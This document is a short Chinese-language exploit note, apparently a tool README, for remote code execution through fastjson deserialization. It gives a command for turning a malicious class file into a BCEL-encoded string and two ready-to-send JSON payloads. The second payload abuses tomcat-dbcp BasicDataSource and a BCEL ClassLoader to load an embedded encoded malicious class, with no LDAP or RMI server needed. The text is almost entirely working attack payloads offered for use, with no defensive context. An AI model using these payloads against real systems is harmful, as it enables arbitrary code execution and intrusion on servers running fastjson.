该payload使用tomcat-dbcp中的BasicDataSource,无需另起ldap或者RMI也可以触发fastjson漏洞。
命令:
java -cp BcelGenerator-1.0-SNAPSHOT-jar-with-dependencies.jar com.example.App [classpath] [classname]
classpath是EvilConstructor.class所在目录
classname是EvilConstructor.class具体的类的名字
Demo:
java -cp BcelGenerator-1.0-SNAPSHOT-jar-with-dependencies.jar com.example.App file:///D:/EvilConstructor.class EvilConstructor
第一个包:
{"name":
{
"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"
}
}
第二个包:
{"name":{"@type":"java.lang.Class","val":"org.apache.tomcat.dbcp.dbcp2.BasicData
Source"},"f":{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverCla
ssName": "org.apache.log4j.spi$$BCEL$$$l8ドルb$I$A$A$A$A$A$A$AmR$cbN$db40ドル$U3ドルd93ドル$
b8vp$j$f280ドル$d096ドル3ドルe80ドル$bep40ドル$w8ドルb$$$a9$baAt$e53ドルe$d4$m$ba605ドル$ZF$e9$d0$c48ドルe$
s$T$c4$a2$ff$c39ドルa$NT5ドルd$f4$D$faQm$cf98ドル$aa$m$g5ドルb$f75ドルe$dd$c79s$ee$d83ドルf7ドルf7ドルd$
ff$B$e0$r6b$d4p3ドルf$c6$D3ドルc$ac$e191ドル8ドルf$x$RVc$dc$c2Z84ドル$c7$R9ドルe$I84ドル$afLn$dck81ドルj
$da$dd$X$Iv8ドルaC$z$d0$c8L$ae$dfMG7ドルdm$f7d7ドルf$c8J3ドルb$x94ドル$i$eeKk7ドルc$fe$b7$uh9ドルd$ec
H$k$cb$ad$a1$cc$H5ドルb$bb$tJ8ドルf9ドルd$v$f2m2$b9$cff$o$d0$cav8ドルf$cdp$a7$c8$t$ceN95ドル$x$
y5ドルb$f59ドルe93ドル$ea$cb5ドルb9$$iJ$r$ab$E8ドルc$a4$c9$F96ドル$d283ドルk8ドルc3ドルdgM3ドルe$d8$$$a5I3ドルb$m
$e1$c28ドルc$b640ドル$dc$x$a6V$e97$c6$cbZ$bcq$e4$L$PH0878ドル$c2$d3$E$cf$f09ドルcl$dcF$rXGJ$
ca$Z$h$q$e8$o$e6E$dc$a0$Sh5ドルe$N$bf$ef$li$e5$b8$e3U$e9$e34wfD$N$f140ドル$bb7ドルfI$t$ed
f$ff$cd$f83ドルb$d2$tZ$J$ac$a736$beV$fa60ドル$L$a5$t$T$C$gc65ドルdy7ドルd7ドルbV$w8ドルd5D$fc$c4$f
e$a940ドル$f8$N$e9o3$fb$ca$bc$c2$b8$b4q$B$f1$N95ドルv$f5$i$c1$a7S$d4$b2$cds84ドルg9ドルc$KPG
93ドル7ドルfB$V$J$e796ドル$R$d2$H7ドルcC$d6$e7$d889ドル$d0$os87ドル8ドルcu$cfC$b6$W$bb$f3h$Q$eb$f3$ss
$a0Mk$a2$f29ドルbNDX$f0n1$m$be$c389ドルK$r9ドルb48ドルf$Qg$a5H7ドルfXX$W$e6K$e2$e4$b289ドル3ドルb$b8$
5b$c67ドルb$e5$d4$f2$lp8ドルcf3ドルb$c3$C$A$A", "driverClassLoader":{"@type": "com.sun.or
g.apache.bcel.internal.util.ClassLoader"}}, "age":10}
发两个包过去就行了。